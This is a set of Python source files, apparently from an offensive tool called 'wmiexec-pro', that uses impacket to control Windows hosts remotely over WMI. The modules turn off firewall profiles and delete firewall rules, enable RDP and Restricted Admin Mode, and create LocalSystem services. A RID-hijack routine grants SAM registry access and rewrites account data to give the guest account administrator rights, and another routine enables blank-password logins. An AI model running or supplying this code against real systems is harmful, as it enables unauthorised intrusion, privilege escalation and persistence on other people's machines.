61 | tmp_dict["Direction"] = "Inbound" if record["Direction"]["value"] == 1 else "Outbound"
62 | tmp_dict["Action"] = "Allow" if record["Action"]["value"] == 2 else ("AllowBypass" if record["Action"]["value"] == 3 else "Block")
63 | tmp_dict["Status"] = "Enabled" if record["Enabled"]["value"] == 1 else "Disabled"
64 | iEnumWbemClassObject.RemRelease()
65 | return tmp_dict
66 |
67 | def rule_Controller(self, ID, flag):
68 | # Can"t invoke disable and enable function directly
69 | # firewall_RuleClass.Enable/Disable not wotking
70 | # But we can force push firewall rule :)
71 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/StandardCimv2", NULL, NULL)
72 | self.iWbemLevel1Login.RemRelease()
73 | #DisplayName, InstanceID, Direction, Action, Enabled
74 | iEnumWbemClassObject = iWbemServices.ExecQuery(f'SELECT * FROM MSFT_NetFirewallRule where InstanceID = "{ID}"')
75 | firewall_RuleClass = iEnumWbemClassObject.Next(0xffffffff,1)[0]
76 | #firewall_RuleClass.Enable
77 | record = dict(firewall_RuleClass.getProperties())
78 | if flag in ["enable","disable"]:
79 | firewall_Instance = firewall_RuleClass.SpawnInstance()
80 | # windows only accept encoded string with latin-1, if chinese character in value, will get exception in impacket/structure.py line 250
81 | # Have no idea how to solve this, let"s submit uuid instead of original character
82 | firewall_Instance.ElementName = ""
83 | firewall_Instance.DisplayName = ""
84 | firewall_Instance.Description = ""
85 | firewall_Instance.DisplayGroup = ""
86 | """
87 | try:
88 | b(record["ElementName"]["value"])
89 | except:
90 | firewall_Instance.ElementName = "windows-object-" + str(uuid.uuid4())
91 | else:
92 | firewall_Instance.ElementName = record["ElementName"]["value"]
93 |
94 | try:
95 | b(record["DisplayName"]["value"])
96 | except:
97 | firewall_Instance.DisplayName = "windows-object-" + str(uuid.uuid4())
98 | else:
99 | firewall_Instance.DisplayName = record["DisplayName"]["value"]
100 |
101 | try:
102 | b(record["Description"]["value"])
103 | except:
104 | firewall_Instance.Description = "windows-object-" + str(uuid.uuid4())
105 | else:
106 | firewall_Instance.Description = "" if record["Description"]["value"] == None else record["Description"]["value"]
107 |
108 | try:
109 | b(record["DisplayGroup"]["value"])
110 | except:
111 | firewall_Instance.DisplayGroup = "windows-object-" + str(uuid.uuid4())
112 | else:
113 | firewall_Instance.DisplayGroup = "" if record["DisplayGroup"]["value"] == None else record["DisplayGroup"]["value"]
114 | """
115 | # allow=2, allowBypass=3, Block=4
116 | firewall_Instance.Action = record["Action"]["value"]
117 | firewall_Instance.Caption = "" if not record["Caption"]["value"] else record["Caption"]["value"]
118 | firewall_Instance.CommonName = "" if not record["CommonName"]["value"] else record["CommonName"]["value"]
119 | # Enable = 1, disable = 2
120 | firewall_Instance.Enabled = 2 if flag == "disable" else 1
121 | firewall_Instance.LocalOnlyMapping = False if record["LocalOnlyMapping"]["value"] == "False" else True
122 | firewall_Instance.LooseSourceMapping = False if record["LooseSourceMapping"]["value"] == "False" else True
123 | firewall_Instance.Mandatory = "" if not record["Mandatory"]["value"] else record["Mandatory"]["value"]
124 | firewall_Instance.Owner = "" if not record["Owner"]["value"] else record["Owner"]["value"]
125 | firewall_Instance.RuleGroup = "" if not record["RuleGroup"]["value"] else record["RuleGroup"]["value"]
126 | firewall_Instance.RuleUsage = "" if not record["RuleUsage"]["value"] else record["RuleUsage"]["value"]
127 | # Status attribute must be hardcode
128 | firewall_Instance.Status = "The rule was parsed successfully from the store."
129 | current=sys.stdout
130 | sys.stdout = StringIO()
131 | marshalled = firewall_Instance.marshalMe()
132 | sys.stdout = current
133 | checkError(iWbemServices.PutInstance(marshalled))
134 | else:
135 | checkError(iWbemServices.DeleteInstance('MSFT_NetFirewallRule.CreationClassName="{}",PolicyRuleName="{}",SystemCreationClassName="{}",SystemName="{}"'.format(
136 | record["CreationClassName"]["value"],
137 | record["PolicyRuleName"]["value"],
138 | record["SystemCreationClassName"]["value"],
139 | record["SystemName"]["value"]
140 | )))
141 |
142 | def dump_FirewallRules(self, save_FileName):
143 | self.logger.info("Dumpping...")
144 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/StandardCimv2", NULL, NULL)
145 | self.iWbemLevel1Login.RemRelease()
146 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT DisplayName, InstanceID, Direction, Action, Enabled FROM MSFT_NetFirewallRule")
147 | firewall_RuleRecord = {}
148 | while True:
149 | try:
150 | tmp_dict = {}
151 | firewall_RuleClass = iEnumWbemClassObject.Next(0xffffffff,1)[0]
152 | record = dict(firewall_RuleClass.getProperties())
153 | tmp_dict["DisplayName"] = record["DisplayName"]["value"]
154 | tmp_dict["Direction"] = "Inbound" if record["Direction"]["value"] == 1 else "Outbound"
155 | tmp_dict["Action"] = "Allow" if record["Action"]["value"] == 2 else ("AllowBypass" if record["Action"]["value"] == 3 else "Block")
156 | tmp_dict["Status"] = "Enabled" if record["Enabled"]["value"] == 1 else "Disabled"
157 | firewall_RuleRecord[record["InstanceID"]["value"]] = tmp_dict
158 | except Exception as e:
159 | if str(e).find("S_FALSE") < 0:
160 | pass
161 | else:
162 | break
163 |
164 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT InstanceID, LocalPort, Protocol, RemotePort FROM MSFT_NetProtocolPortFilter")
165 | firewall_RuleDetailRecord = {}
166 | while True:
167 | try:
168 | tmp_dict = {}
169 | firewall_PortClass = iEnumWbemClassObject.Next(0xffffffff,1)[0]
170 | record = dict(firewall_PortClass.getProperties())
171 | tmp_dict["Protocol"] = record["Protocol"]["value"]
172 | tmp_dict["LocalPort"] = record["LocalPort"]["value"]
173 | tmp_dict["RemotePort"] = record["RemotePort"]["value"]
174 | firewall_RuleDetailRecord[record["InstanceID"]["value"]] = tmp_dict
175 | except Exception as e:
176 | if str(e).find("S_FALSE") < 0:
177 | pass
178 | else:
179 | break
180 |
181 | test = dict(firewall_RuleDetailRecord, **firewall_RuleRecord)
182 | for key in test.keys():
183 | if key in firewall_RuleDetailRecord:
184 | test[key] = dict(test[key], **firewall_RuleDetailRecord[key])
185 |
186 | with open(save_FileName,"w") as f:
187 | f.write(json.dumps(test, indent=4))
188 |
189 | self.logger.log(100, f"[+] Whole the firewall rules are dumped to {save_FileName}")
190 |
191 | def FirewallProfile_Controller(self, flag):
192 | # Use it on your own risk :)
193 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/StandardCimv2", NULL, NULL)
194 | self.iWbemLevel1Login.RemRelease()
195 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM MSFT_NetFirewallProfile")
196 | while True:
197 | try:
198 | firewall_ProfileClass = iEnumWbemClassObject.Next(0xffffffff,1)[0]
199 | record = dict(firewall_ProfileClass.getProperties())
200 | firewall_ProfileInstance = firewall_ProfileClass.SpawnInstance()
201 | firewall_ProfileInstance.DisabledInterfaceAliases = ""
202 | firewall_ProfileInstance.Caption = "" if not record["Caption"]["value"] else record["Caption"]["value"]
203 | firewall_ProfileInstance.Enabled = 1 if flag == "enable" else 0
204 | firewall_ProfileInstance.Description = "" if not record["Caption"]["value"] else record["Caption"]["value"]
205 | current=sys.stdout
206 | sys.stdout = StringIO()
207 | iWbemServices.PutInstance(firewall_ProfileInstance.marshalMe())
208 | sys.stdout = current
209 | except Exception as e:
210 | if str(e).find("S_FALSE") < 0:
211 | self.logger.error(str(e))
212 | raise
213 | else:
214 | self.logger.log(100, f"All firewall profile has been {flag}")
215 | break
216 | iEnumWbemClassObject.RemRelease()
--------------------------------------------------------------------------------
/lib/modules/hashdump.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from impacket.dcerpc.v5.dtypes import NULL
4 | from impacket.dcerpc.v5.dcom.wmi import ENCODING_UNIT, IWbemClassObject
5 |
6 |
7 | class Hashdump():
8 | def __init__(self, iWbemLevel1Login):
9 | self.iWbemLevel1Login = iWbemLevel1Login
10 | self.logger = logging.getLogger("wmiexec-pro")
11 |
12 | def test(self):
13 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
14 | self.iWbemLevel1Login.RemRelease()
15 | Service_ClassObject,_ = iWbemServices.GetObject('Win32_Service.Name="winrm"')
16 | resp = Service_ClassObject.GetSecurityDescriptor()
17 |
--------------------------------------------------------------------------------
/lib/modules/rdp.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from impacket.dcerpc.v5.dtypes import NULL
4 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
5 |
6 |
7 | class RDP_Toolkit():
8 | def __init__(self, iWbemLevel1Login):
9 | self.iWbemLevel1Login = iWbemLevel1Login
10 | self.logger = logging.getLogger("wmiexec-pro")
11 |
12 | def rdp_Wrapper(self, flag, old=False):
13 | if not old:
14 | # According to this document: https://learn.microsoft.com/en-us/windows/win32/termserv/win32-tslogonsetting
15 | # Authentication level must set to RPC_C_AUTHN_LEVEL_PKT_PRIVACY when accessing namespace "//./root/cimv2/TerminalServices"
16 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL)
17 | iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
18 | self.iWbemLevel1Login.RemRelease()
19 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
20 | iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
21 | if flag == "enable":
22 | self.logger.info("Enabling RDP services and setting up firewall.")
23 | iWbemClassObject.SetAllowTSConnections(1,1)
24 | self.query_RDPPort()
25 | else:
26 | self.logger.info("Disabling RDP services and setting up firewall.")
27 | iWbemClassObject.SetAllowTSConnections(0,0)
28 | else:
29 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
30 | self.iWbemLevel1Login.RemRelease()
31 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
32 | iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
33 | if flag == 'enable':
34 | self.logger.info("Enabling RDP services (old system not support setting up firewall)")
35 | iWbemClassObject.SetAllowTSConnections(1)
36 | self.query_RDPPort()
37 | else:
38 | self.logger.info("Disabling RDP services (old system not support setting up firewall)")
39 | iWbemClassObject.SetAllowTSConnections(0)
40 | # Need to create new iWbemServices interface in order to flush results
41 | self.query_RDPResult(old)
42 |
43 | def query_RDPResult(self, old=False):
44 | if not old:
45 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL)
46 | iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
47 | self.iWbemLevel1Login.RemRelease()
48 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
49 | iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
50 | result = dict(iWbemClassObject.getProperties())
51 | result = result["AllowTSConnections"]["value"]
52 | if result == 0:
53 | self.logger.log(100, "RDP disabled!")
54 | else:
55 | self.logger.log(100, "RDP enabled!")
56 | else:
57 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
58 | self.iWbemLevel1Login.RemRelease()
59 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting")
60 | iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0]
61 | result = dict(iWbemClassObject.getProperties())
62 | result = result["AllowTSConnections"]["value"]
63 | if result == 0:
64 | self.logger.log(100, "RDP disabled!")
65 | else:
66 | self.logger.log(100, "RDP enabled!")
67 |
68 | def query_RDPPort(self):
69 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL)
70 | self.iWbemLevel1Login.RemRelease()
71 | StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
72 | out = StdRegProv.GetDWORDValue(2147483650, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", "PortNumber")
73 | self.logger.log(100, f"RDP port: {out.uValue!s}")
74 |
75 | # Nt version under 6 not support this.
76 | def ram_Wrapper(self, flag):
77 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
78 | self.iWbemLevel1Login.RemRelease()
79 | StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
80 | if flag == 'enable':
81 | self.logger.info("Enabling Restricted Admin Mode.")
82 | StdRegProv.SetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin", 0)
83 | else:
84 | self.logger.info("Disabling Restricted Admin Mode (Clear).")
85 | StdRegProv.DeleteValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin")
86 | out = StdRegProv.GetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin")
87 | if not out.uValue:
88 | self.logger.log(100, "Restricted Admin Mode disabled!")
89 | elif out.uValue == 0:
90 | self.logger.log(100, "Restricted Admin Mode enabled!")
91 | else:
92 | self.logger.error(100, f"Unknown code when enable/disable Restricted Admin Mode: {out.uValue}")
--------------------------------------------------------------------------------
/lib/modules/rid_hijack.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import numpy
3 | import base64
4 | import uuid
5 | import json
6 | import time
7 | import os
8 | import logging
9 |
10 | from lib.methods.executeVBS import executeVBS_Toolkit
11 | from lib.modules.exec_command import EXEC_COMMAND
12 | from impacket.dcerpc.v5.dtypes import NULL
13 | from lib.helpers import get_vbs_path
14 |
15 |
16 | class RID_Hijack_Toolkit():
17 | def __init__(self, iWbemLevel1Login, dcom):
18 | self.iWbemLevel1Login = iWbemLevel1Login
19 | self.dcom = dcom
20 | self.timeout = 5
21 |
22 | self.logger = logging.getLogger("wmiexec-pro")
23 | self.logger_countdown = logging.getLogger("CountdownLogger")
24 |
25 | def save_ToFile(self, hostname, rid, content):
26 | path = os.path.join("save", hostname)
27 | save_FileName = f"RID-{rid}-{int(time.time())!s}.json"
28 |
29 | if not os.path.exists(path):
30 | os.makedirs(path, exist_ok=True)
31 |
32 | result = os.path.join(path, save_FileName)
33 | with open(result, "w") as f:
34 | f.write(content)
35 |
36 | self.logger.log(100, f"Save user profile data to: {result}")
37 |
38 | def query_user(self):
39 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
40 | self.iWbemLevel1Login.RemRelease()
41 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT Name, SID, Disabled, PasswordExpires, PasswordChangeable, PasswordRequired FROM Win32_UserAccount")
42 | while True:
43 | try:
44 | Users_Info = iEnumWbemClassObject.Next(0xffffffff,1)[0]
45 | self.logger.log(100, "Get user information: Name: {}, SID: {}, Disabled: {}, PasswordExpires: {}, PasswordChangeable: {}, PasswordRequired: {}".format(
46 | Users_Info.Name,
47 | Users_Info.SID,
48 | Users_Info.Disabled,
49 | Users_Info.PasswordExpires,
50 | Users_Info.PasswordChangeable,
51 | Users_Info.PasswordRequired
52 | ))
53 | except Exception as e:
54 | if str(e).find("S_FALSE") < 0:
55 | pass
56 | else:
57 | break
58 |
59 | def Permissions_Controller(self, action, user, currentUsers):
60 | exec_command = EXEC_COMMAND(self.iWbemLevel1Login, codec="gbk")
61 | executer_vbs = executeVBS_Toolkit(self.iWbemLevel1Login)
62 |
63 | # For old system, if command too long with cause error in Win32_ScheduledJob create method
64 | # so we need to write batch file on target then execute it.
65 | if "old" in action:
66 | regini_Attr =[
67 | "HKEY_LOCAL_MACHINE\\SAM [1 17]",
68 | "HKEY_LOCAL_MACHINE\\SAM\\SAM [1 17]",
69 | "HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains [1 17]",
70 | "HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account [1 17]",
71 | "HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users [1 17]",
72 | f'HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(user)), 16), "08x")!s} [1 17]'
73 | ]
74 |
75 | # No more retrieve options :)
76 | #if "retrieve" in action:
77 | # for i in range(1, len(regini_Attr)): regini_Attr[i] = regini_Attr[i].replace("[1 17]","[17]")
78 | self.logger.info("Granting / Restricting user permissions to registry key via regini.exe")
79 |
80 | ini_Content = ""
81 | for i in regini_Attr:
82 | ini_Content += i + "\r\n"
83 |
84 | ini_FileName = f"windows-object-{uuid.uuid4()!s}.ini"
85 |
86 | with open(get_vbs_path("Exec-Command-Silent-UnderNT6-II.vbs")) as f:
87 | vbs = f.read()
88 |
89 | vbs = vbs.replace("REPLACE_WITH_DEST", f"C:\\windows\\temp\\{ini_FileName}").replace("REPLACE_WITH_DATA", base64.b64encode(ini_Content.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_COMMAND", f"regini.exe C:\\windows\\temp\\{ini_FileName}")
90 |
91 | tag = executer_vbs.ExecuteVBS(vbs_content=vbs, returnTag=True)
92 | exec_command.timer_For_UnderNT6()
93 | executer_vbs.remove_Event(tag)
94 | self.logger.log(100, "Granted / Restricted user permissions to registry key via regini.exe")
95 | else:
96 | self.logger.info("Granting / Restricting user permissions to registry key via regini.exe")
97 | with open(get_vbs_path("GrantSamAccessPermission.vbs")) as f:
98 | vbs = f.read()
99 | vbs = vbs.replace("REPLACE_WITH_USER", currentUsers)
100 | tag = executer_vbs.ExecuteVBS(vbs_content=vbs, returnTag=True)
101 |
102 | for i in range(self.timeout, 0,-1):
103 | self.logger_countdown.info(f"Waiting {i}s for next step.\r")
104 | time.sleep(1)
105 |
106 | executer_vbs.remove_Event(tag)
107 | self.logger.log(100, "Granted / Restricted user permissions to registry key via regini.exe")
108 |
109 | # Default is hijacking guest(RID=501) users to administrator(RID=500)
110 | def hijack(self, action, user, hijack_RID=None, hostname=None):
111 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
112 | self.iWbemLevel1Login.RemRelease()
113 |
114 | iWbemServices2 = self.iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL)
115 | StdRegProv, resp = iWbemServices2.GetObject("StdRegProv")
116 |
117 | # Check user if it existed.
118 | try:
119 | iEnumWbemClassObject = iWbemServices.ExecQuery(f'SELECT * FROM Win32_UserAccount where SID like "%-{user}"')
120 | iEnumWbemClassObject.Next(0xffffffff,1)[0]
121 | except Exception as e:
122 | if "WBEM_S_FALSE" in str(e):
123 | self.logger.error(f"User with RID: {user} not found!")
124 | else:
125 | self.logger.error(f"Unexpected error: {e!s}")
126 | self.dcom.disconnect()
127 | sys.exit(0)
128 |
129 | # Check permission first
130 | try:
131 | raw_value = StdRegProv.GetBinaryValue(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(user)), 16), "08x")!s}', "F")
132 | len(raw_value.uValue)
133 | except Exception as e:
134 | if "NoneType" in str(e):
135 | self.logger.error('Looks like we have no permissions to access SAM\\SAM subkeys, please grant full access permissions with: -action "grant" or -action "grant-old" (2003)')
136 | else:
137 | self.logger.error(f"Unknown error: {e!s}")
138 | else:
139 | if action == "remove":
140 | StdRegProv.DeleteKey(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(user)), 16), "08x")!s}')
141 | self.logger.log(100, "Remove user!")
142 | elif action == "backup":
143 | self.backup_UserProfile(user, hostname, StdRegProv)
144 | else:
145 | # Impacket will return native integer list like this:
146 | # [3, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255,255, 255, 255, 127, 0, 0, 0, 0, 0, 0, 0, 0, 245, 1, 0, 0, 1, 2, 0, 0, 20, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 52, 0, 52, 0, 0, 0]
147 | #
148 | # This is native binary strings, so we need to conver it to this first like this (every four integer add to a list)
149 | # [03, 00, 01, 00],[00, 00, 00, 00]....
150 | #
151 | # Next, reverse the list and combine it, the convert to integer
152 | # [00, 01, 00, 03] to 00010003(hex) to 65539(int)
153 | #
154 | # Finally, to will get a integer list, but the length of the list is less than 80, so we need to append zero until to length is match 80
155 | raw_value = numpy.array_split(raw_value.uValue, 20)
156 | result=[]
157 | for i in raw_value:
158 | raw = ""
159 | for j in list(i[::-1]):
160 | raw+="%.2x"%j
161 | result.append(eval(f"0x{raw}"))
162 |
163 | # Appending zero
164 | result.extend([0]*(80-len(result)))
165 |
166 | # Index 12 is rid
167 | if action == "hijack":
168 | result[12] = int(hijack_RID)
169 | self.logger.log(100, f"Hijacking user from RID: {user} to RID: {hijack_RID}")
170 |
171 | # Enable user index 14 = 532, disable is 533
172 | elif action == "activate":
173 | result[14] = 532
174 | self.logger.log(100, "Activate target user.")
175 | elif action == "deactivate":
176 | result[14] = 533
177 | self.logger.log(100, "Deactivate target user.")
178 |
179 | StdRegProv.SetBinaryValue(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(user)), 16), "08x")!s}', "F", result)
180 |
181 | def backup_UserProfile(self, user, hostname, StdRegProv=None):
182 | if not StdRegProv:
183 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL)
184 | self.iWbemLevel1Login.RemRelease()
185 | StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
186 | value_Name = StdRegProv.EnumValues(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(user)), 16), "08x")!s}')
187 | backup_Dict = {
188 | "user-RID":int(user),
189 | "key-Value":[]
190 | }
191 | for valueName in value_Name.sNames:
192 | value_Dict = {}
193 | raw_value = StdRegProv.GetBinaryValue(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(user)), 16), "08x")!s}', valueName)
194 | raw_value_length = len(raw_value.uValue)
195 | raw_value = numpy.array_split(raw_value.uValue, (raw_value_length / 4))
196 | result=[]
197 | for i in raw_value:
198 | raw = ""
199 | for j in list(i[::-1]):
200 | raw+="%.2x"%j
201 | result.append(eval(f"0x{raw}"))
202 |
203 | # Appending zero
204 | result.extend([0]*(raw_value_length - len(result)))
205 |
206 | # Add to dict
207 | value_Dict["valueName"] = valueName
208 | value_Dict["length"] = raw_value_length
209 | value_Dict["data"] = result
210 |
211 | # Save to final dict
212 | backup_Dict["key-Value"].append(value_Dict)
213 |
214 | self.save_ToFile(hostname, user, json.dumps(backup_Dict, indent=4))
215 |
216 | def restore_UserProfile(self, file):
217 | with open(file) as json_Data:
218 | data = json.load(json_Data)
219 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
220 | self.iWbemLevel1Login.RemRelease()
221 | StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
222 | StdRegProv.CreateKey(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(data["user-RID"])), 16), "08x")!s}')
223 | for i in data["key-Value"]:
224 | StdRegProv.SetBinaryValue(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(data["user-RID"])), 16), "08x")!s}', i["valueName"], i["data"])
225 |
226 | self.logger.log(100, f'User with RID: {data["user-RID"]} restore successful!')
227 |
228 | # For Guest user
229 | def BlankPasswordLogin(self, action):
230 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL)
231 | self.iWbemLevel1Login.RemRelease()
232 | StdRegProv, resp = iWbemServices.GetObject("StdRegProv")
233 | if action == "enable":
234 | StdRegProv.SetDWORDValue(2147483650, "SYSTEM\\CurrentControlSet\\Control\\Lsa", "LimitBlankPasswordUse", 0)
235 | self.logger.log(100, "Enable blank password login.")
236 | elif action == "disable":
237 | StdRegProv.SetDWORDValue(2147483650, "SYSTEM\\CurrentControlSet\\Control\\Lsa", "LimitBlankPasswordUse", 1)
238 | self.logger.log(100, "Disable blank password login.")
--------------------------------------------------------------------------------
/lib/modules/service_mgr.py:
--------------------------------------------------------------------------------
1 | import sys
2 | import logging
3 | import json
4 |
5 | from impacket.dcerpc.v5.dtypes import NULL
6 |
7 |
8 | ERROR_MSG = {
9 | 0:"The request was accepted.",
10 | 1:"The request is not supported.",
11 | 2:"The user did not have the necessary access.",
12 | 3:"The service cannot be stopped because other services that are running are dependent on it.",
13 | 4:"The requested control code is not valid, or it is unacceptable to the service.",
14 | 5:"The requested control code cannot be sent to the service because the state of the service (State property of the Win32_BaseService class) is equal to 0, 1, or 2.",
15 | 6:"The service has not been started.",
16 | 7:"The service did not respond to the start request in a timely fashion.",
17 | 8:"Unknown failure when starting the service.",
18 | 9:"The directory path to the service executable file was not found.",
19 | 10:"The service is already running.",
20 | 11:"The database to add a new service is locked.",
21 | 12:"A dependency this service relies on has been removed from the system.",
22 | 13:"The service failed to find the service needed from a dependent service.",
23 | 14:"The service has been disabled from the system.",
24 | 15:"The service does not have the correct authentication to run on the system.",
25 | 16:"This service is being removed from the system.",
26 | 17:"The service has no execution thread.",
27 | 18:"The service has circular dependencies when it starts.",
28 | 19:"A service is running under the same name.",
29 | 20:"The service name has invalid characters.",
30 | 21:"Invalid parameters have been passed to the service.",
31 | 22:"The account under which this service runs is either invalid or lacks the permissions to run the service.",
32 | 23:"The service exists in the database of services available from the system.",
33 | 24:"The service is currently paused in the system."
34 | }
35 |
36 | class Service_Toolkit:
37 | def __init__(self, iWbemLevel1Login, dcom):
38 | self.iWbemLevel1Login = iWbemLevel1Login
39 | self.dcom = dcom
40 | self.logger = logging.getLogger("wmiexec-pro")
41 |
42 | def create_Service(self, serviceName, displayName, binaryPath, technique):
43 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
44 | self.iWbemLevel1Login.RemRelease()
45 | Service_ClassObject,_ = iWbemServices.GetObject(technique)
46 | # Format: Name, DisplayName, PathName, ServiceType, ErrorControl, StartMode, DesktopInteract, StartName, StartPassword, LoadOrderGroup, LoadOrderGroupDependencies, ServiceDependencies
47 | resp = Service_ClassObject.Create(serviceName, displayName, binaryPath, 16, 0, "Automatic", 0, "LocalSystem", "", "System", "", "")
48 | if resp.ReturnValue == 0:
49 | self.logger.log(100, f"Service {serviceName} created!")
50 | else:
51 | self.logger.error(f"Return value: {resp.ReturnValue!s}, reason: {ERROR_MSG[resp.ReturnValue]}")
52 |
53 | def control_Service(self, action, serviceName, iWbemServices=None):
54 | if not iWbemServices:
55 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
56 | self.iWbemLevel1Login.RemRelease()
57 | try:
58 | Service_ClassObject,_ = iWbemServices.GetObject(f'Win32_Service.Name="{serviceName}"')
59 | except Exception as e:
60 | if "WBEM_E_NOT_FOUND" in str(e):
61 | self.logger.error(f"Service: {serviceName} not found!")
62 | else:
63 | self.logger.error(f"Unknown error: {e!s}")
64 | self.dcom.disconnect()
65 | sys.exit(1)
66 | else:
67 | if action == "delete":
68 | resp = Service_ClassObject.Delete()
69 | elif action == "start":
70 | resp = Service_ClassObject.StartService()
71 | elif action == "stop":
72 | resp = Service_ClassObject.StopService()
73 | elif action == "disable":
74 | resp = Service_ClassObject.ChangeStartMode("Disabled")
75 | elif action == "auto-start":
76 | resp = Service_ClassObject.ChangeStartMode("Automatic")
77 | elif action == "manual-start":
78 | resp = Service_ClassObject.ChangeStartMode("Manual")
79 | elif action == "getinfo":
80 | record = dict(Service_ClassObject.getProperties())
81 | self.logger.log(100, 'Service info: service name: "{}", display name: "{}", path: "{}", service type: "{}", start mode: "{}", service account: "{}", state: "{}", process id: "{}"'.format(
82 | # ConsentUxUserSvc_6728c
83 | record["Name"]["value"],
84 | record["DisplayName"]["value"],
85 | record["PathName"]["value"],
86 | record["ServiceType"]["value"],
87 | record["StartMode"]["value"],
88 | "" if record["StartName"]["value"] is None else record["StartName"]["value"],
89 | record["State"]["value"],
90 | str(record["ProcessId"]["value"])
91 | ))
92 |
93 | try:
94 | if resp.ReturnValue == 0 :
95 | self.logger.log(100, "Action done!")
96 | else:
97 | self.logger.error(f"Return value: {resp.ReturnValue!s}, reason: {ERROR_MSG[resp.ReturnValue]}")
98 | except Exception:
99 | pass
100 |
101 | def dump_Service(self, save_FileName, iWbemServices=None):
102 | if not iWbemServices:
103 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
104 | self.iWbemLevel1Login.RemRelease()
105 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT Name, DisplayName, PathName, ServiceType, StartMode, StartName, State, ProcessID FROM Win32_Service")
106 | full_Results = {}
107 | while True:
108 | try:
109 | tmp_dict = {}
110 | query = iEnumWbemClassObject.Next(0xffffffff,1)[0]
111 | record = dict(query.getProperties())
112 | tmp_dict["ServiceName"] = record["Name"]["value"]
113 | tmp_dict["DisplayName"] = record["DisplayName"]["value"]
114 | tmp_dict["PathName"] = record["PathName"]["value"]
115 | tmp_dict["ServiceType"] = record["ServiceType"]["value"]
116 | tmp_dict["StartMode"] = record["StartMode"]["value"]
117 | tmp_dict["ServiceAccount"] = record["StartName"]["value"] if record["StartName"]["value"] else ""
118 | tmp_dict["State"] = record["State"]["value"]
119 | tmp_dict["ProcessId"] = str(record["ProcessId"]["value"])
120 | full_Results[tmp_dict["ServiceName"]] = tmp_dict
121 | except Exception as e:
122 | if str(e).find("S_FALSE") < 0:
123 | pass
124 | else:
125 | break
126 | with open(save_FileName, "w") as f:
127 | f.write(json.dumps(full_Results, indent=4))
